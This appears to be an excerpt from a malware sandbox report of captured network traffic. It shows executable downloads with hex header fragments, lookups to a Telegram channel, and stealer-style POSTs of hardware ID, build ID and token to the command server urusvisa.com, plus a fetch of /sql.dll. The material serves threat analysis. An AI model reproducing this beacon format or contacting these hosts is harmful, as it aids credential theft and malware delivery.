00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 11:59:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 30 Sep 2024 11:59:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 11:59:54 GMTContent-Type: application/octet-streamContent-Length: 414248Last-Modified: Mon, 30 Sep 2024 04:37:16 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66fa2afc-65228"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5c 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 22 06 00 00 08 00 00 00 00 00 00 4e 40 06 00 00 20 00 00 00 60 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 40 06 00 4b 00 00 00 00 60 06 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 2c 06 00 28 26 00 00 00 80 06 00 0c 00 00 00 c8 3e 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 20 06 00 00 20 00 00 00 22 06 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 05 00 00 00 60 06 00 00 06 00 00 00 24 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 06 00 00 02 00 00 00 2a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 40 06 00 00 00 00 00 48 00 00 00 02 00 05 00 b0 2e 06 00 18 10 00 00 03 00 02 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b7 dc 3b 9f 38 e4 60 f0 c6 77 a2 a5 08 0f e5 a0 19 86 ff d4 8b 72 8b 62 1a 84 93 8a e4 20 c2 ed 43 04 47 41 ba f2 7e 7a 78 46 ae 63 c0 40 51 65 ff b9 38 88 d6 05 c1 93 38 24 d9 ec 61 f5 87 e5 87 93 4e f9 1d 21 51 1e 34 66 b5 13 c6 9a 5c 0e 84 ea 1a b4 64 df 14 61 ad 9e 65 39 34 05 db d7 5e 51 2a 38 66 a9 76 e5 02 07 e4 77 e3 57 1c c6 77 48 09 6b 51 f2 f1 1b 2c d2 db bd 33 c3 41 24 23 b9 e0 d8 50 16 8c 9c e2 87 b4 29 cf f4 53 d0 8b ee 6f 81 91 e8 62 2b 67 59 7f 5c 6f ae 8e b1 f0 d1 35 84 6d e5 29 ea 1d 32 1b 74 cc ab 35 d7 43 a6 c5 26 7a 37 ad 89 9d 1d 2d 8f 44 db 9e d9 c5 b8 71 21 11 b8 d6 8e 1f 8f 6f dc f4 e7 a3 b7 14 ba 07 84 d9 57 32 46 9c cb f4 6e 3b bb ee 7e 8a 39 2e 92 c7 e5 09 71 34 18 6c 9e 56 96 0f c6 4f 0c 70 18 6c dc f5 6d 7d e3 a0 27 d3 c4 cf 3a d1 97 45 b9 f6 cb bd e6 99 2f 25 32 ff fb b7 5f 01 c8 67 05 ca c0 3d 19 37 7f 0a d1 e8 96 f6 cf b7 fa 6d 8b 84 e8 d4 e2 1c dc b6 30 5e 87 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 30 Sep 2024 11:59:54 GMTContent-Type: application/octet-streamContent-Length: 380456Last-Modified: Mon, 30 Sep 2024 04:37:24 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66fa2b04-5ce28"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 2f 28 fa 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 9e 05 00 00 08 00 00 00 00 00 00 4e bc 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 bc 05 00 4b 00 00 00 00 c0 05 00 f8 05 00 00 00 00 00 00 00 00 00 00 00 a8 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 c8 ba 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 9c 05 00 00 20 00 00 00 9e 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f8 05 00 00 00 c0 05 00 00 06 00 00 00 a0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 05 00 00 02 00 00 00 a6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 bc 05 00 00 00 00 00 48 00 00 00 02 00 05 00 b0 aa 05 00 18 10 00 00 03 00 02 00 11 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 58 f1 31 35 d1 e9 51 1a 14 54 9d 77 7b a3 ef 8c 05 fa a9 ca 06 9a b3 9a d5 76 5e 00 22 df fa eb 06 53 a5 d7 8f ee b6 30 5a 6f bc ef 58 93 ac b7 96 f8 15 7c 83 a1 da 8c c7 f3 b1 bf 6f 88 94 d4 a0 41 53 b4 e8 44 a2 12 a6 6e f0 f4 45 0f 65 b6 f7 e2 35 5f f7 30 1b ba 95 ad ae 45 f9 84 06 03 41 aa 9a 85 ab b7 3b bb fa 01 0c 24 dc 33 a6 5a d8 ba 21 68 3b c7 25 16 bc 0f 0b 72 3b 47 0a 8c 75 18 13 f4 52 80 8b 07 24 27 b9 39 d0 b0 ce f2 c7 56 0b 8b 37 02 4f 3f 14 43 92 dd 3a fb 16 fd b4 7c e9 e5 cd 2c 60 32 76 71 85 32 74 be 58 2f 06 67 3d 5e 6e 28 14 ad dd b4 3f 25 4e 12 c8 d5 d4 67 c6 11 96 51 94 25 a2 25 e1 c9 af 49 72 6f 14 30 e1 06 88 48 09 66 d4 2e 77 2b 5e cf cc f7 63 c7 1d f7 69 9e d9 2f 86 27 c3 ae d5 e9 46 fb 7f fd a9 f0 1d c8 a2 cc 12 46 52 f1 45 fa 74 96 c1 05 9d 2b 76 9c 37 53 8d 67 aa ec 17 33 dc f6 ab 8e da 7d a5 28 c8 b8 c0 a7 48 a1 b2 ba 29 17 75 21 5f 35 fb b1 02 59 62 8e 0a 85 74 8

Source: global traffic	HTTP traffic detected: GET /jamsemlg HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jamsemlg HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=e24bf01cb1dccc3d2c_1091684912320142115
Source: global traffic	HTTP traffic detected: GET /jamsemlg HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cacheCookie: stel_ssid=e24bf01cb1dccc3d2c_1091684912320142115
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGIJDBAFCBAAKECGDGCHost: urusvisa.comContent-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 41 35 30 36 37 31 43 34 38 41 33 37 38 38 39 35 32 38 38 32 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="hwid"54A50671C48A3788952882-a33c7340-61ca------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------FCGIJDBAFCBAAKECGDGC--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAAHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="mode"1------HIDHIEGIIIECAKEBFBAA--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFCAAKFBAEHJJJJDHIEHost: urusvisa.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 43 41 41 4b 46 42 41 45 48 4a 4a 4a 4a 44 48 49 45 2d 2d 0d 0a Data Ascii: ------KKFCAAKFBAEHJJJJDHIEContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------KKFCAAKFBAEHJJJJDHIEContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------KKFCAAKFBAEHJJJJDHIEContent-Disposition: form-data; name="mode"2------KKFCAAKFBAEHJJJJDHIE--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECBHost: urusvisa.comContent-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 61 62 32 30 39 32 30 66 32 31 37 30 63 33 32 38 34 39 32 35 38 32 30 30 61 37 30 66 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 31 34 64 37 37 38 34 39 61 30 31 66 66 38 61 62 37 64 64 39 39 64 35 66 30 61 32 65 31 39 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 44 48 43 47 48 43 41 41 4b 45 42 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="token"06ab20920f2170c32849258200a70f10------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="build_id"514d77849a01ff8ab7dd99d5f0a2e19e------HDBGHDHCGHCAAKEBKECBContent-Disposition: form-data; name="mode"21------HDBGHDHCGHCAAKEBKECB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECBHost: urusvisa.comContent-Length: 7641Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: urusvisa.comConnection: Keep-AliveCache-Control: no-cache
